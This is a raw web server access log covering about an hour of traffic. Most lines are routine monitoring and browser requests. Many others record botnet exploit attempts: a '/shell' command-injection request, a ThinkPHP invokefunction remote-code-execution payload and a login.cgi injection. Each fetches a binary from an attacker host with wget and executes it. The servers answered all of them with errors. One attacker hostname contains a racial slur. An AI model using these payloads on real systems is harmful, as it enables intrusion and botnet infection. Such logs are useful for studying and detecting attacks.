37.201.212.224 - - [12/Feb/2020:21:46:55 +0100] "GET / HTTP/1.1" 200 1229 "http://www.herrmann-kleindienst.de/produkte/fuehrerscheinwesen/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18363"
212.91.246.72 - - [12/Feb/2020:21:47:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.73.225.93 - - [12/Feb/2020:21:47:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
118.167.115.119 - - [12/Feb/2020:21:48:24 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [12/Feb/2020:21:48:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.230.2.59 - - [12/Feb/2020:21:48:52 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
37.201.212.224 - - [12/Feb/2020:21:48:53 +0100] "GET /favicon.ico HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18363"
37.201.212.224 - - [12/Feb/2020:21:49:27 +0100] "GET /favicon.ico HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18363"
212.91.246.72 - - [12/Feb/2020:21:49:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.201.212.224 - - [12/Feb/2020:21:49:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18363"
37.201.212.224 - - [12/Feb/2020:21:49:46 +0100] "GET /favicon.ico HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18363"
79.113.141.111 - - [12/Feb/2020:21:50:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:21:50:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.39.176.203 - - [12/Feb/2020:21:51:28 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [12/Feb/2020:21:51:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.146.71 - - [12/Feb/2020:21:51:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:21:52:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:53:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:54:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:55:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.134.170 - - [12/Feb/2020:21:55:57 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:21:56:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:57:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.142.194.93 - - [12/Feb/2020:21:57:59 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
218.173.132.198 - - [12/Feb/2020:21:58:24 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [12/Feb/2020:21:58:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:59:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:22:00:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:22:01:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.75.20 - - [12/Feb/2020:22:02:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:22:02:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:22:03:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.99.124.57 - - [12/Feb/2020:22:03:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:22:04:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.159.83.196 - - [12/Feb/2020:22:05:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:22:05:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:22:06:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.40.226.165 - - [12/Feb/2020:22:07:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
89.40.226.165 - - [12/Feb/2020:22:07:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:22:07:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.171.5.106 - - [12/Feb/2020:22:07:58 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
167.249.77.69 - - [12/Feb/2020:22:08:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:22:08:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.140.15.159 - - [12/Feb/2020:22:08:47 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
117.5.210.191 - - [12/Feb/2020:22:09:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.89.246 - - [12/Feb/2020:22:09:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:22:09:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:22:10:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.154.121 - - [12/Feb/2020:22:11:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.205.11.88 - - [12/Feb/2020:22:11:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:22:11:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.139.19 - - [12/Feb/2020:22:12:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:22:12:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
200.54.221.234 - - [12/Feb/2020:22:12:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
177.66.208.237 - - [12/Feb/2020:22:13:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:22:13:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:22:14:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:22:15:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.5.210.191 - - [12/Feb/2020:22:15:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:22:16:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.251.148.146 - - [12/Feb/2020:22:17:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [12/Feb/2020:22:17:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:22:18:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.41.202.205 - - [12/Feb/2020:22:19:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.112.160.55 - - [12/Feb/2020:22:19:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
101.255.89.238 - - [12/Feb/2020:22:19:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [12/Feb/2020:22:19:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:22:20:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.72.92.163 - - [12/Feb/2020:22:21:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.48.156 - - [12/Feb/2020:22:21:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:22:21:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.85.49.110 - - [12/Feb/2020:22:22:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:22:22:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.98.193 - - [12/Feb/2020:22:22:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:22:23:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
116.196.98.78 - - [12/Feb/2020:22:24:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:22:24:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.41.235 - - [12/Feb/2020:22:25:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
66.190.55.161 - - [12/Feb/2020:22:25:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:22:25:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.194.39 - - [12/Feb/2020:22:25:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:22:26:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:22:27:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:22:28:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.253.153.84 - - [12/Feb/2020:22:29:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:22:29:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.205.0.238 - - [12/Feb/2020:22:30:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:22:30:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.164.35.72 - - [12/Feb/2020:22:30:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [12/Feb/2020:22:31:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [12/Feb/2020:22:31:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [12/Feb/2020:22:31:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:22:31:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.39.54.135 - - [12/Feb/2020:22:32:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:22:32:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.171.235 - - [12/Feb/2020:22:33:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:22:33:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:22:34:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:22:35:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:22:36:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:22:37:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:22:38:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.6 - - [12/Feb/2020:22:39:01 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
1.52.241.121 - - [12/Feb/2020:22:39:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:22:39:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:22:40:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:22:41:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.77.129.168 - - [12/Feb/2020:22:42:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
212.91.246.72 - - [12/Feb/2020:22:42:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:22:43:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:22:44:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.37.48.179 - - [12/Feb/2020:22:44:50 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
128.14.134.170 - - [12/Feb/2020:22:45:12 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:22:45:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.91.218.19 - - [12/Feb/2020:22:46:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
212.91.246.72 - - [12/Feb/2020:22:46:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:22:47:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:22:48:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:22:49:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [12/Feb/2020:22:49:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [12/Feb/2020:22:50:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [12/Feb/2020:22:50:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [12/Feb/2020:22:50:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [12/Feb/2020:22:50:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:22:50:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
